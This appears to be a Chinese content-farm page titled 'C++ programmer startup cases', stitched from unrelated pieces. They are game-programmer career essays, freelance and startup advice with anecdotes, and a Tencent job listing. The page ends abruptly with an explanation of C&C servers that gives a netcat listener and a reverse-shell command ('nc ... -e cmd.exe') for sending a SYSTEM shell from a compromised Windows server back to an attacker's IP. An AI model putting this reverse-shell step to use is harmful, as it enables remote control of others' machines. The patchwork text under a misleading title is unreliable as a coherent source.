c++程序员如何创业案例

c++程序员如何创业案例,第1张

程序员,是一个很累的行业,经常要熬夜赶代码。以下是我为大家整理的c++程序员如何创业案例相关 文章 。

c++程序员如何创业案例:

这是我多年来招聘培训游戏程序员的一点想法。一直想汇总一下。主要目的是为了更好的对公司新进C++程序员进行培训,并且建立起游戏程序员培训,发展,成才,成为核心骨干,管理层,期权收益人等一整套体系。因为对于MMO游戏制作来讲,解决好C++技术队伍,是保证合格软件的基础之一。

我在的H3D Studio核心技术人员和游戏制作管理人员全部是SMTH BBS游戏制作版成员。从99年开始截止BEGINER的历任版主都在H3D STUDIO里工作过。在这里我把具体的培训以及技术队伍组建的内容去掉,只和大家聊聊关于游戏程序员切身利益相关的事。

另外这不是居高临下来评判什么事情。我本人也不是多么高级的技术人员或者管理人员。只是坚持做一件事情年头很长教训很多而已。所以有些体验。文中所有评判其他结构或人水平低,并不是说我本人水平有多高。不要误会。

一、C++游戏程序员现状

中国C++程序员100%都是自学的。因为中国几乎没有象样的C++培训机构。大家都知道社会培训是赚钱为主要目的。能在那里成才是个大运气。也不象JAVA有SUN公司一手推行。中国大学 教育 里也根本没有C++教学。关于C/C++基础课的知识,只是让学生入门。但对于实际的C++软件工程应用,大学课本知识实践意义不大。最重要的是,大学里没有合格的C++老师。编程是门技术,叫手艺也行。而大学是搞科研的,多的是科学家,靠出PAPER教科凭职称为生。并不是技术员。没有10万行以上代码 经验 和成功软件项目经验的人,很难教出中高级C++程序员。

游戏制作业对C++程序员的要求是比较高的。比一般行业软件高很多。因为任何一个MMO都是个中大型软件项目。日使用人次达到几十万上百万,同时使用人数几十万在线的大型网络多人交互软件,集成了超过十几项专业领域编程技术的软件,想不大都不行。

另外,中高级C++程序员能力一般都很强。因为都是自学成才,这需要较高智商,很强的自学能力,解决问题能力,和克服困难的毅力。但是这种人才在游戏行业里人数并不多。抛开凤毛麟角具备整体大型软件架构能力的高级人才不谈。能够承担独立模块开发,具备独立解决问题的能力,写出在空间,性能,可维护性等几个方面达到要求的C++程序员,也是很难找到的。而具备这些能力,同时又具备一些专业领域技术的人(图形引擎,网络引擎,等),更加稀少。

所以,即便是大游戏公司,对于C++游戏程序员的需求,也是永远不能够得到满足。而已经在公司工作的C++程序员,不经过短则3个月,长达1年的锻炼,也无法真正胜任独当一面的C++游戏程序开发工作。

二、MMO游戏开发对C++游戏程序员要求

前面提到,所有MMO游戏都是中大型软件。软件占用空间,稳定性,性能,可维护性等各项衡量软件质量的指标,对MMO游戏软件的要求都非常严格。远大于普通行业软件。这种规模和银行系统类似。而客户端和软件逻辑比一般的商业软件又要复杂很多倍。这就要求软件编写人员具备较高的程序编写素质。

游戏软件中,解决好软件工程部分,只是项目的1/3。另外两部分是策划和美术/音频。从经验来看,需求变更对于MMO游戏软件,不是偶然事件,而是一种MMO游戏软件开发的基本属性。游戏软件投入大,周期长,风险高。MMO市场变化也大,交互电子游戏发展迅速。游戏软件必须面对外界变动。又因为开发周期长,所以软件需求变动成为了软件开发的一种基本属性。犹如复杂性是软件工程的一项基本属性一样。

这导致游戏软件的开发充满了不确定性。交互娱乐不同于商业应用。娱乐是属于理性和感性之间的领域。而C++开发面对就是0和1的二元世界逻辑。这两个领域存在着不可调和的矛盾。这种情况,对C++游戏程序员提出了更高的要求。

首先,基本C++知识,C/C++运用技能,必须极其扎实。并不是游戏软件开发用到什么平时书本上很难得到的知识点或者技能点。游戏C++开发的知识体系和技能体系,利用现有C++书籍就可以满足。比如《C++ PAORGRAMMING LANGUAGE》《C++ PRIMER》《EFFECT C++》《MORE EFFECT C++》等。但是在开始游戏编程之前,把这些书本吃透并且实践熟练的人,非常难遇到。当然能够真做到这点的人,已经是个中高级C++程序员了。我曾经遇到过一个, 毕业 工作不久就去了GOOGLE

其次,对于面向对象的深入理解。是非常重要的。熟练掌握C/C++语法,编程技巧,只是满足了C++游戏程序员一部分要求。而面向对象观念的深刻理解,会为大型C++项目开发带来翻天覆地的变化。 有时候,在一个10人以上并行开发的C++游戏项目中,面向对象 方法 会成为救命稻草。《设计模式》以及《设计模式解析》相关的书籍,也是必修课。

最后,好技术人员的本质是自大的。这属于正常。但是如果这种习性影响了自身继续提高和团队合作。以及影响了其成为技术管理者和项目技术核心时,那么这种技术人员的自身价值会大打折扣。 如果早日越过自命不凡这一关,扩大眼界,继续在综合素质上提高。在技术管理能力,架构能力上提高,其自身价值才会继续增长。落到实处,就是待遇和身家增长。

由于游戏开发的本质是团队开发。任何时候,只有对一个团队有价值的技术人员,其本身的价值才有可能得以体现。

三、成长和技术发展路线

一般技术人员发展有几个阶段

1 、具备独立开发局部功能的能力

比如为某个UI编写逻辑接口函数。为某个LOGIN对话框编写自绘制控件等。

2 、具备独立开发和攻关某个功能模块的能力

比如为游戏增加一个小型逻辑功能模块。

3 、具备独立设计并开发某个系统的能力

比如设计和开发AUTOPATCH 系统

4 、具备解决技术难题,设计架构的能力

比如开发网络同步仿真系统,开发一个中大型游戏制作工具

5 、具备整体架构,管理,协调其他人共同开发一个大系统的能力

客户端主程,服务器主程,引擎主程等

6 、技术director

制定技术发展方向,技术团队建立,技术管理等

在迈向每个阶段的过程中,伴随的都是巨大的工作量和工程压力。有时候是跨越1年的失败等等。在公司项目不成功时转换单位,重新开始,或者继续做为核心团队留在公司继续从新的机会做起,都是好的办法。但关键是吸取经验教训,尽量多学多练。并且结合自身长处发展。当然,游戏制作人员,最好还是依靠一个核心团队。成为核心团队的一员。

能够达到第三档的程序,已经是公司不可缺少的人才了。但往往程序员自身对自己的认识,和公司对其的认识,有时候会有差异。我碰到过一些人,脑子好用,写东西很快。各种技术都有涉猎。但总是不放心让他独立开发设计某个系统。哪怕是相对独立的工具。也会被搞得一塌糊涂。要后面人不停擦屁股。可自己还觉着自己水平很高。这种人浮躁,眼高手低,不愿意细致周全的做好一件完整的事。所以就可以看到他不停的跳来跳去,可在新公司的职位也没有见多么提高。公司非常重视交给一个程序员一件事,他是否能完整,考虑周全的把事情做完。哪怕时间长一点,也不能不做完。这会给工程带来致命的后果。

四、发展待遇

从自身经验出发谈一下公司是怎么考虑技术员工待遇的。

前面提到的6档,粗略了划分了待遇水平。其实到了第三档,你的待遇已经是这个行业所决定的了。而不是某个公司决定的。因为游戏业大量缺乏这样的C++程序员。如果具备这个水平,在几个大城市游戏公司找到工作并不难。大公司提升慢,还有我这种不到百人规模的公司要。所以行业价格才是公司要考虑的。如果给少了,软件项目的C++程序员流失会带来较大影响。但给的多,其实是 C++程序员自己的价值增长瓶颈。如果几年下来一直以为自己水平就该拿这么高,结果到了一家整体技术水平比较高的企业,就会彻底傻眼。这个时候再放低心态去重新开始,对技术员来讲就是件很艰难的事了。

在目前游戏行业技术水平普遍较低的情况下,哄抬程序员工资水平对程序员自身好处也不会很大。就算一个新手本来拿几千的水平,给他1万。他根本就不会知道自己到底有多少水。一年下来也就多拿了3-4万人民币。可耽误的是学习,影响了心态。而那些心态好,知道努力方向的技术人员,干个3-5年后如果有拿期权和股权的机会,比那些一开始虚高的人,身家就不知道高多少倍了。

c++程序员如何创业案例:Visual C++程序员 职业规划

有很多的程序员刚毕业时充满活力,经过几年的工作之后,激情就会慢慢消失,现在软件行业环境变化很快,一旦无法跟上行业发展的步伐,工作上就更难有所进境了。对于应届生,以前只要考得一个资格认证,会受到很多企业的青睐,现在证书满天飞,企业更加注重求职者的能力。应届生的第一份工作也是越来越难把握。很多人在求职的过程中开始转行。对于读者你,是否有职业的危机感呢?

对于应届生或者经验不多的程序员,或许有很完备的理论知识,但是公司衡量员工的标准是效益,谁能创造效益,就会收到重视。应届生往往很难找到一份满意的工作。第一份工作是职业生涯的开始,是需要慎重的,然而,究竟用怎样的标准选择工作呢?由于实践经验的缺乏,应届生不必关注第一份工作的薪水,时常听到一些人为找不到工作而发愁,他们已经接收到了几个公司的录取通知,但是因为薪水的原因,选择了放弃。其实没有必要攀比第一份工作的薪水,这在刚刚走出校园的大学生中是很常见的,然而必须明白,我们的工作经历可能要持续到60岁左右,是一场 马拉松长跑 。起跑最快的未必是最后的胜者。刚踏足社会,在500强公司一个月大概能拿到4000左右的工资,有些特别才能的人会拿到8000左右,而5年以后,工资水平也就5000到10000了,增幅也是有限的。后面的年轻人追赶的压力却愈来愈大。所以第一份工作找一个符合自己专业的或者能力的公司去,你的开端会低点,但是你会有很持久的耐力。

在工作了一段时间后,有时会发觉自己的工作和想象相去甚远,甚至会觉得自己入错了行业。为自己的待遇没想象的好感到委屈。这时候需要冷静的思考一下自己的处境,看是否是因为自己过于理想化的结果。如果是,就有必要对当前行业的现状进行深入的了解,搞明白当前的行业发展在向什么方向前进,由于环境的突变,这点有时很难做到,但是适当的理性分析是很必要的。如果一味的埋怨下去,工作没有做好,还耽误了自己的职业发展。如果原因出在自己身上,比如说个人习惯等问题,就要看能不能改正一下自己的习惯,慢慢的适应当前的环境。

程序员在一个发展良好的工作上做久了,就会积累丰富的技术经验,再往后发展的途径有很多。到底该如何选择?要结合自己的兴趣和当前的技术水平。在做了几年的技术之后,对于程序员来说,可有几种基本的职业规划:技术专家、软件架构师、高级顾问销售或自主创业。程序员毕竟是偏重技术的职业,主要的发展方向会是资深技术专家。无论是那种领域,都要努力让自己成为专家,然后在发展为架构师。有些人当架构师工作一生,有很好的待遇,然而这种工作很有限,而且,在中国,架构师的需求量比较少。

我们想要达到的目标,往往就在起初确定了,而且注定了我们职业的目标不是一蹴而就的,相对于我们所能工作的年限来说,职业生涯可能要终其一生。然而我们在不同的职业阶段有阶段性的目标,应届生希望在工作上积累经验,经验达到了自己当初的所想,我们就离自己的最终目标近了一步。职业规划并不是一成不变的,会有很多的机遇和经历改变你的思想。但是不论你会有怎么的规划,都要把社会条件考虑进去。我们进入一个阶段,思想认识更加深刻,眼界更加开阔。有时会对自己未来的职业进行更加深入的思考。这时候是需要慎重的。我们都需要过一个阶段点评一下自己。看自己是否在进步,下一步又该如何做。我们发现现在的环境不能满足自己的发展要求,就要考虑换个合适的环境,或者考虑从自己的目标是不是过于理想化,适当的贴近现

实考虑一下。不论会作出怎样的决定,都要保证你在向进步的方向前进。不要因为一时的放松而断送了即将到来的目标。

工作是一件需要理智的事情,不要因为自己懂的多而在工作上耍个性,现在公司注重员工的团队意识,大型软件的开发过程,需要一队人的共同参与,自己耍个性并不能帮助提升你的工资,也可能阻碍你的职业发展。所以工作中要谦虚学习,努力的学习新技术,从别人身上学习优点,会帮助你发展的更好。

每个人依照自己的兴趣会有不同的职业规划,不要偏求自己的目标多么伟大。也不要轻视任何一个努力工作的人。职业规划不是一成不变的,很多人在不同的人生经历后会改变自己发展方向。但是有一条,不要希望奇迹的出现,勤勤恳恳工作是成功的基本法则。

追求目标的实现更多的是为了享受成功带来的欢乐,不要因为一时的攀比搞乱了自己的职业发展。如果你做好了自己的职业规划,那么,不要等待明天,从现在开始,行动起来吧!

c++程序员如何创业案例:

1.什么是创业

关于“创业”二字有必要重新学习一下,找了两个相对权威定义:

创业就是创业者对自己拥有的资源或通过努力能够拥有的资源进行优化整合,从而创造出更大经济或社会价值的过程。——百度 百科

创业是一种思考、推理和行为方式,它为机会所驱动,需要在方法上全盘考虑并拥有和谐的领导能力。创业必须要贡献出时间、付出努力,承担相应的财务的、精神的和社会的风险,并获得金钱的回报、个人的满足和独立自主。——互动百科

两者都给出了明确的创业定义,这里想着重想强调一下创业的目的:物质目的和精神目的,现代社会唯金主义人群不乏少数,提到创业自然而然想到“赚钱”,其实创业的目的不仅是“收入大于成本”,还有精神丰收。按照百度+互动百科的说法,最终极的创业应该是个人物质精神、社会物质精神四丰收。

当然,不是人人创业都追求“四丰收”,完全可以只追求个人金钱丰收,或是追求其中的任何一项或几项,但要注意——千万不要损害未选的,比如为个人赚钱损害社会或他人利益。

2.怎么才算创业成功?

创业的成功(这里定义为达到创业初级制定目标)一定是依赖于合理的目标+个人的努力+合适的方法+良好的运气+主动把握机遇,各个条件没有顺序也没有主次,但这五点缺一不可,相互有机结合才有可能成功。

成功的创业往往在最初一两年甚至五年或更长时间收入会低于预想,亏本很正常,只要目标坚定,不断改善,因为独立自主,上升空间会很大。

当然每个人的想法、定位都不一样。你想创业,那你想创个什么规模的事业?什么才算得上事业有所成?

如果你认为腾讯、阿里巴巴这样的才算“业”,那么我建议你最好别轻易去“创业”,即使你比马云、马化腾等人更聪明,也未必能成就这样的业,因为机遇不同。

如果你只是想比一般打工的更强一些、更自由一些,收入比打工要高一些,能养家糊口同时还有点闲钱,那你随时都可以去创业!

3.创业的方法、步骤都有哪些?

每个人都有适合自己的路子,不能说通用,只能算是一点个人心得吧。

(1).必须建立一个网站,这是你在网络上的“门面”,可以展示你的作品,也可以让别人通过这个网站找到你。

无论是否程序员创业,都应该有个网站。网站的传统主要目的是为了宣传,现代网站还可能有互动、管理、实验等多种功能。需要注意的是,无论哪种功能,当没有积累到一定程度,即不知道网站上放什么内容的时候,不要建网站,更不要抄袭别人的内容,切忌打肿脸充胖子,金玉其外败絮其中。和字如其人一样,网站也反映企业的 文化 底蕴

(2).早期,猪八戒之类威客,作为你早期练手和积累人气还是可以的

(3).真没客户找的话,可以开个淘宝店,接软件定制(我认识有几个网友都是这样干,并且干得还不错)

(4).也可以主动出击,去一些外包网站寻找客户,比如GAF、Elance、GetACoder、ScriptLance等站上有很多外包的信息,大家可以自己上去看看

(5).最好的方式还是自己定位一个产品,用心把这个产品做好,然后努力去推广,推广好了的话,以后卖注册码、卖授权就够了。

4.产品该如何定位,什么样的软件才能写?

这个问题,有很多网友都问过我,他们总在担心,现在几乎各种软件都有现成的了,都被占领了市场,这时候自己该写什么软件呢?

我觉得,首先该问问自己,你的软件、产品,需要达到什么样的程度、占有多少市场才行?要超越那些成熟的软件吗?那是很难的,不仅仅是技术层面,还有用户的积累这都是很难超越的。

这些成熟的产品,都是通用的,适合大多数用户,但总是有部分用户的需求是不同的。那么你的产品,未必要超越谁,只要能满足这些不同需求的用户、能做出一些特色功能,那你就能占有一定市场、拥有一定用户。

5.创业应该注意的一些事情

注意积累、项目的成功和失败都要积累,每个项目都要 总结 ,为下一个更大项目更省时省力地完成做准备。

无论是守株待兔或主动出击,首先不应接违法、违背道德的单子,其次无论单子大小,都应该当做一个正规项目完成,即(按具体情况)需求分析、签订合同、设计、编码、测试、写文档等步骤逐一完成。比如完整项目一共有十五个步骤(有国标),小单子可以选关键五个步骤,大一点的单子相应增加。若不会,可以自学软件工程师、IT项目管理的相关课程。

这里想着重强调一下“烂笔头”的重要性。虽然设计、编码、测试、文档等都可以用计算机完成,但是往往不及白纸黑字的效率。因为其一:计算机屏幕容纳的信息量不及纸张,即屏幕大小往往会限制你的思路。其二:大脑思考的速度快于手写速度,而手写速度要快于敲键盘、点鼠标的速度,也就是说,手写更能跟上思考速度。

想要做大做强,不可能一直单干。这时就需要组团了,就需要学习新知识,变为新身份、进入新领域。而主动出击一般需要一个团队。

所谓创业难守业更难,何来守业——创新。好的产品、代表作,或是好的服务固然需要,但是如何保持?这时要不断创新,或者说是一如既往的创新,围绕主要产品不断改进,不断与时俱进,不断挖掘潜能,不断比竞争对手稍好一点。

起初仅是学技术的阶段,无需注重写什么软件,哪怕是一无所用的工具,或是已被写烂的“通讯录”、“记事本”、“快捷启动”,都可以,着重积累。附带一句,无论学什么语言也无所谓。

多使用其他成品软件,善于发现优缺点,归类整理,着重对其他软件的缺点思考,并结合实际用户的需求,用户的不方便就是商机。

6.经典案例

(1).外贸公司边打工边创业

一位在外贸公司打工的网友,因为自己工作上经常要做一些重复的工作,就自己编写了一个工具软件,自动完成这些工作,提高工作效率。一开始在同事之间使用,经过同事们提意见之后逐步完善、增加功能,成为了一款功能比较完善、操作比较方便的软件。然后他想,既然自己公司工作上用得上,其他同类公司应该也有需求吧?就开始在附近的同类公司里推广、销售这款软件,慢慢的积累了一定的客户,这名网友就辞职了,专门销售软件,收入颇丰。

(2).小网管成立软件公司

一位在网吧工作的网管,平常工作比较轻松,很多时间自己操作电脑、学习编程,偶尔到网络上接点小软件定制,赚点外快。越做自己技术越好、客户也积累越多,最后辞职,自己在家接软件定制,后来自己做不过来就成立公司,专做外包。

(3).发现真空市场的创业历程

某网友,一直都想创业,但苦于没找到适合的项目,无从开始。一次偶然的机会,在一个IT交流群里,另一个网友发给他一个软件(单机版),问是否可以做,当然可以做,一个简单的单机版办公软件嘛,这有何难?但是这个网友并不想长期做外包,于是去调查使用这个软件的行业,发现这一行业居然还处于信息化真空状态。世面上基本上没有一套该行业的管理系统。

之后去 拜访 网络上的那位朋友,联系系统的需求方,是政府部门里的人。开始调研这套系统的需求,发现需要做的不仅仅是一个单机版,是一套基于广域网的协同办公系统。开始谈价格,价格分为研发费用,安装费用,以及维护费用。仔细评估下来,客户给的研发费用实在是太少。价格陷入僵局,为了能拿下这套系统,为了占据这个行业,这名网友决定自己垫资进去,开发出这套系统。

不管怎样,开始着手做吧,不为别的,只为梦想!开始组建团队,租场地,买设备。一个月后,经过大家的努力,终于把Demo开发出来了,开始与客户一起到各政府部门、各个企业去演示。效果还挺不错,客户反馈说,很多企业需要安装。

这就表明,最初垫资进去开发是正确的,安装的企业一多,自然就开始盈利了。创业的第一步算是成功了。

C/C++的服务器端,比如我们经常玩的网游,那个服务器端大部分都是C/C++编程的。还有本地连接,网上邻居,ftp协议之类的,基本上windows的客户端网络服务都有对应的服务器。

当然要学习C/C++服务器编程,涉及的方面就比较多了,重要的有网络连接,多线程,数据存储等等的。

你可以参考一下腾讯在C/C++服务器编程工程师的要求。

工作要求:

工作有激情, 认真负责,尽职尽责,沟通协作意识良好,能够承担工作压力,具备良好的学习能力和分析解决问题能力;

全面的软件知识结构(操作系统、数据结构、数据库系统、网络安全),有两年以上互联网应用开发经验,有无线互联网后台开发经验优先;

熟练使用C/C++语言,熟悉Linux下调试、开发环境,对多线程、缓存系统、高性能、高可用系统有经验者优先;

熟悉TCP/IP协议,能熟练使用网络分析工具分析网络相关的故障,有一定的网络编程经验;

熟悉数据库的设计、使用与基本调优,熟练使用mysql数据库进行业务开发;

熟悉Linux,具备Linux下的系统开发经验;

具备大并发、分布式存储、大容量系统开发运营经验优先。

C&C

服务器的全称是

Command

and

Control

Server,翻译过来就是命令和控制服务器

通常在做渗透测试的时候,在拿到一个

webshell

的时候,需要对服务器进行提权操作,如果是一台

windows

的服务器,提权的时候通常是利用本地提权漏洞的

exp

进行溢出提权,有些

exp

可以直接在后面加参数,溢出成功之后执行参数中的命令。

而有的

exp

溢出成功之后是返回一个

system

权限的

cmd,这时就需要将低权限的

cmd

shell

反弹回本地,这里用

nc

在本地执行:nc

-vv

-lp

3333

上述命令的意思是在本地监听一个

3333

端口等待连接,假设电脑

IP

是公网的,并且

IP

114.114.114.114,然后在目标服务器就可以执行:nc

114.114.114.114

3333

-e

cmd.exe

上面的命令就可以把远程服务器的服务器权限的

cmd

shell

返回到本地,这时你就可以通过

nc

建立的这个

shell

进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的

C&C

服务器。

扩展资料:

C&C

服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。

通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网

IP

地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。

这里中转服务器的作用就是本地内网的主机监听的端口映射到公网

IP

的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。


欢迎分享,转载请注明来源:夏雨云

原文地址:https://www.xiayuyun.com/zonghe/282721.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-22
下一篇2023-04-22

发表评论

登录后才能评论

评论列表(0条)

    保存